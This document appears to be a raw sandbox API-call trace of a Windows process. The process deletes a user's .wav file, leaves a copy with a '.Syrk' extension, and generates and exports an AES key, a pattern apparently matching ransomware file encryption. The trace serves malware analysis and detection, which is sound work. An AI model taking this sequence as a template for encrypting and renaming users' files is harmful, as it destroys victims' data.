GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", lpFilePart=0x0) returned 0x40 [0243.895] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0243.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0243.898] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0243.898] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0243.898] CoTaskMemFree (pv=0x5c98368) [0243.900] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav")) returned 0x20 [0243.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0243.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav", lpFilePart=0x0) returned 0x40 [0243.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0243.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav"), fInfoLevelId=0x0, lpFileInformation=0x24c1a00 | out: lpFileInformation=0x24c1a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0f01c0, ftCreationTime.dwHighDateTime=0x1d99c80, ftLastAccessTime.dwLowDateTime=0xd02df130, ftLastAccessTime.dwHighDateTime=0x1d99cd1, ftLastWriteTime.dwLowDateTime=0xd02df130, ftLastWriteTime.dwHighDateTime=0x1d99cd1, nFileSizeHigh=0x0, nFileSizeLow=0xf894)) returned 1 [0243.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0243.900] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav")) returned 1 [0243.902] EtwEventActivityIdControl () returned 0x0 [0243.902] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.903] EtwEventActivityIdControl () returned 0x0 [0243.903] EtwEventActivityIdControl () returned 0x0 [0243.903] EtwEventActivityIdControl () returned 0x0 [0243.910] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav.syrk")) returned 0x20 [0243.911] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav.syrk")) returned 0x20 [0243.911] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0243.911] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav.Syrk", nBufferLength=0x46, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav.Syrk", lpFilePart=0x0) returned 0x45 [0243.912] EtwEventActivityIdControl () returned 0x0 [0243.912] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.912] EtwEventActivityIdControl () returned 0x0 [0243.913] EtwEventActivityIdControl () returned 0x0 [0243.913] EtwEventActivityIdControl () returned 0x0 [0243.917] EtwEventActivityIdControl () returned 0x0 [0243.917] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.918] EtwEventActivityIdControl () returned 0x0 [0243.918] EtwEventActivityIdControl () returned 0x0 [0243.918] EtwEventActivityIdControl () returned 0x0 [0243.922] EtwEventActivityIdControl () returned 0x0 [0243.922] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.922] EtwEventActivityIdControl () returned 0x0 [0243.922] EtwEventActivityIdControl () returned 0x0 [0243.922] EtwEventActivityIdControl () returned 0x0 [0243.927] EtwEventActivityIdControl () returned 0x0 [0243.927] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.927] EtwEventActivityIdControl () returned 0x0 [0243.927] EtwEventActivityIdControl () returned 0x0 [0243.927] EtwEventActivityIdControl () returned 0x0 [0243.931] EtwEventActivityIdControl () returned 0x0 [0243.931] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.931] EtwEventActivityIdControl () returned 0x0 [0243.931] EtwEventActivityIdControl () returned 0x0 [0243.931] EtwEventActivityIdControl () returned 0x0 [0243.935] EtwEventActivityIdControl () returned 0x0 [0243.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0243.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\ln8YfCU_Yh0.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ln8yfcu_yh0.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24ce27c | out: lpFileInformation=0x24ce27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1162b0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xd1162b0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xd1162b0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xf8b4)) returned 1 [0243.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0243.940] GetConsoleOutputCP () returned 0x1b5 [0243.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.941] GetConsoleOutputCP () returned 0x1b5 [0243.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.941] GetConsoleOutputCP () returned 0x1b5 [0243.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.942] GetConsoleOutputCP () returned 0x1b5 [0243.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.942] GetConsoleOutputCP () returned 0x1b5 [0243.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.942] GetConsoleOutputCP () returned 0x1b5 [0243.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.942] GetConsoleOutputCP () returned 0x1b5 [0243.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.943] GetConsoleOutputCP () returned 0x1b5 [0243.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.943] GetConsoleOutputCP () returned 0x1b5 [0243.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.943] GetConsoleOutputCP () returned 0x1b5 [0243.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.943] GetConsoleOutputCP () returned 0x1b5 [0243.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.944] GetConsoleOutputCP () returned 0x1b5 [0243.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.944] GetConsoleOutputCP () returned 0x1b5 [0243.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.944] GetConsoleOutputCP () returned 0x1b5 [0243.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.944] GetConsoleOutputCP () returned 0x1b5 [0243.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.944] GetConsoleOutputCP () returned 0x1b5 [0243.945] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.945] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0243.945] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0243.945] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24e7f44*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24e7f44*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0243.946] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0243.946] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0243.947] EtwEventActivityIdControl () returned 0x0 [0243.947] EtwEventActivityIdControl () returned 0x0 [0243.947] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.948] EtwEventActivityIdControl () returned 0x0 [0243.948] EtwEventActivityIdControl () returned 0x0 [0243.948] EtwEventActivityIdControl () returned 0x0 [0243.950] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.951] EtwEventActivityIdControl () returned 0x0 [0243.951] EtwEventActivityIdControl () returned 0x0 [0243.951] EtwEventActivityIdControl () returned 0x0 [0243.953] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cee0) returned 1 [0243.954] CryptGenKey (in: hProv=0x5c4cee0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c996e0) returned 1 [0243.954] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.954] CryptExportKey (in: hKey=0x5c996e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0243.954] CryptExportKey (in: hKey=0x5c996e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24ef91c, pdwDataLen=0x5a2e8c4 | out: pbData=0x24ef91c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0243.955] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.955] EtwEventActivityIdControl () returned 0x0 [0243.955] EtwEventActivityIdControl () returned 0x0 [0243.955] EtwEventActivityIdControl () returned 0x0 [0243.956] SysStringLen (param_1="") returned 0x8 [0243.956] SysStringLen (param_1="c") returned 0x8 [0243.956] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.956] SysStringLen (param_1="멟⇹쬙諕겲ゆ\峚∂) returned 0x8 [0243.956] SysStringLen (param_1="멟⇹쬙諕겲ゆ\峚∂) returned 0x8 [0243.957] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.957] SysStringLen (param_1="cP") returned 0x8 [0243.957] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.957] SysStringLen (param_1="֦Ἠ஬饃稭䙸墆") returned 0x8 [0243.957] SysStringLen (param_1="֦Ἠ஬饃稭䙸墆") returned 0x8 [0243.957] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.957] SysStringLen (param_1="cPt") returned 0x8 [0243.957] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.957] SysStringLen (param_1="沩轙燑糇윆ꆓᬕ焏") returned 0x8 [0243.957] SysStringLen (param_1="沩轙燑糇윆ꆓᬕ焏") returned 0x8 [0243.957] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.957] SysStringLen (param_1="cPtr") returned 0x8 [0243.957] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.958] SysStringLen (param_1="쒟鳗埔궹뤸荰䟣⃐") returned 0x8 [0243.958] SysStringLen (param_1="쒟鳗埔궹뤸荰䟣⃐") returned 0x8 [0243.958] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.958] SysStringLen (param_1="cPtrp") returned 0x8 [0243.958] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.958] SysStringLen (param_1="饑롵婚慥߭쉻") returned 0x8 [0243.958] SysStringLen (param_1="饑롵婚慥߭쉻") returned 0x8 [0243.958] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.959] SysStringLen (param_1="cPtrpP") returned 0x8 [0243.959] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.959] SysStringLen (param_1="햷ᐩ囤ࣳᱱ粢똓") returned 0x8 [0243.959] SysStringLen (param_1="햷ᐩ囤ࣳᱱ粢똓") returned 0x8 [0243.959] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.959] SysStringLen (param_1="cPtrpPC") returned 0x8 [0243.959] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.959] SysStringLen (param_1="恙赯ꦔ\뫟隭﷭⋇) returned 0x8 [0243.959] SysStringLen (param_1="恙赯ꦔ\뫟隭﷭⋇) returned 0x8 [0243.959] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.959] SysStringLen (param_1="cPtrpPC4") returned 0x8 [0243.959] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.959] SysStringLen (param_1="ꦷឨ窭觿ぁ乌") returned 0x8 [0243.960] SysStringLen (param_1="ꦷឨ窭觿ぁ乌") returned 0x8 [0243.960] SysStringLen (param_1="ꦷឨ窭觿ぁ乌") returned 0x8 [0243.960] SysStringLen (param_1="ꦷឨ窭觿ぁ乌") returned 0x10 [0243.960] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.960] SysStringLen (param_1="cPtrpPC4K\쇟捠Ⴠ鸂㉓睃⊃) returned 0x10 [0243.960] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.961] SysStringLen (param_1="ꦷឨ窭觿ぁ乌⣪䓢偸웤㲱汅රȩ") returned 0x10 [0243.961] SysStringLen (param_1="ꦷឨ窭觿ぁ乌⣪䓢偸웤㲱汅රȩ") returned 0x10 [0243.961] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.961] SysStringLen (param_1="cPtrpPC4Kv惁쁣Ȑ厞䌲荷") returned 0x10 [0243.961] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.961] SysStringLen (param_1="ꦷឨ窭觿ぁ乌捃蚘\⃛峉ࡃ琕酨≂) returned 0x10 [0243.961] SysStringLen (param_1="ꦷឨ窭觿ぁ乌捃蚘\⃛峉ࡃ琕酨≂) returned 0x10 [0243.961] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.961] SysStringLen (param_1="cPtrpPC4Kvs쁣Ȑ厞䌲荷") returned 0x10 [0243.961] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.961] SysStringLen (param_1="ꦷឨ窭觿ぁ乌欥⒌㖦悶쫠퐫꽌") returned 0x10 [0243.961] SysStringLen (param_1="ꦷឨ窭觿ぁ乌欥⒌㖦悶쫠퐫꽌") returned 0x10 [0243.961] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.962] SysStringLen (param_1="cPtrpPC4KvsVȐ厞䌲荷") returned 0x10 [0243.962] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.962] SysStringLen (param_1="ꦷឨ窭觿ぁ乌誦꠾ࡻ삑彽埯룮") returned 0x10 [0243.962] SysStringLen (param_1="ꦷឨ窭觿ぁ乌誦꠾ࡻ삑彽埯룮") returned 0x10 [0243.962] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.962] SysStringLen (param_1="cPtrpPC4KvsVP厞䌲荷") returned 0x10 [0243.962] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.962] SysStringLen (param_1="ꦷឨ窭觿ぁ乌售㪈댬쟡ꤒ팑뛫쫬") returned 0x10 [0243.962] SysStringLen (param_1="ꦷឨ窭觿ぁ乌售㪈댬쟡ꤒ팑뛫쫬") returned 0x10 [0243.962] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.962] SysStringLen (param_1="cPtrpPC4KvsVPU䌲荷") returned 0x10 [0243.962] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.962] SysStringLen (param_1="ꦷឨ窭觿ぁ乌鉺逞Ϫ젝ᡖ鳿") returned 0x10 [0243.963] SysStringLen (param_1="ꦷឨ窭觿ぁ乌鉺逞Ϫ젝ᡖ鳿") returned 0x10 [0243.963] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.963] SysStringLen (param_1="cPtrpPC4KvsVPUE荷") returned 0x10 [0243.963] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.963] SysStringLen (param_1="ꦷឨ窭觿ぁ乌継뙊睵觚뛳娽쉉킁") returned 0x10 [0243.963] SysStringLen (param_1="ꦷឨ窭觿ぁ乌継뙊睵觚뛳娽쉉킁") returned 0x10 [0243.963] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.963] SysStringLen (param_1="cPtrpPC4KvsVPUEd") returned 0x10 [0243.963] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.963] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂") returned 0x10 [0243.963] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂") returned 0x10 [0243.963] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂") returned 0x10 [0243.964] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂") returned 0x18 [0243.964] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.964] SysStringLen (param_1="cPtrpPC4KvsVPUEdl빱웆瑃缮꼎숒ഹ") returned 0x18 [0243.964] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.964] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂蓩\₥酋艣ﮟ∉) returned 0x18 [0243.964] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂蓩\₥酋艣ﮟ∉) returned 0x18 [0243.964] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.964] SysStringLen (param_1="cPtrpPC4KvsVPUEdll웆瑃缮꼎숒ഹ") returned 0x18 [0243.964] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.965] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂憚₡㶄⮬攮䮎ᮮ竻") returned 0x18 [0243.965] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂憚₡㶄⮬攮䮎ᮮ竻") returned 0x18 [0243.965] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.965] SysStringLen (param_1="cPtrpPC4KvsVPUEdllB瑃缮꼎숒ഹ") returned 0x18 [0243.965] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.965] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂ᇏ䤩퍧邂݀頢હ匈") returned 0x18 [0243.965] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂ᇏ䤩퍧邂݀頢હ匈") returned 0x18 [0243.965] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.965] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBI缮꼎숒ഹ") returned 0x18 [0243.965] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.965] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂ᩅ⿎\Ꮨ\ꋟ乊緪") returned 0x18 [0243.965] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂ᩅ⿎\Ꮨ\ꋟ乊緪") returned 0x18 [0243.965] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.965] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBII꼎숒ഹ") returned 0x18 [0243.966] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.966] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂눐蝽肛뷉玝㯵衙ꛯ") returned 0x18 [0243.966] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂눐蝽肛뷉玝㯵衙ꛯ") returned 0x18 [0243.966] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.966] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIq숒ഹ") returned 0x18 [0243.966] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.966] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂闰玷㏮ᘯ⑷ۃ㡘") returned 0x18 [0243.966] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂闰玷㏮ᘯ⑷ۃ㡘") returned 0x18 [0243.966] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.966] SysStringLen (param_1="cPtrpPC4KvsVPUEdllBIIqlഹ") returned 0x18 [0243.966] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 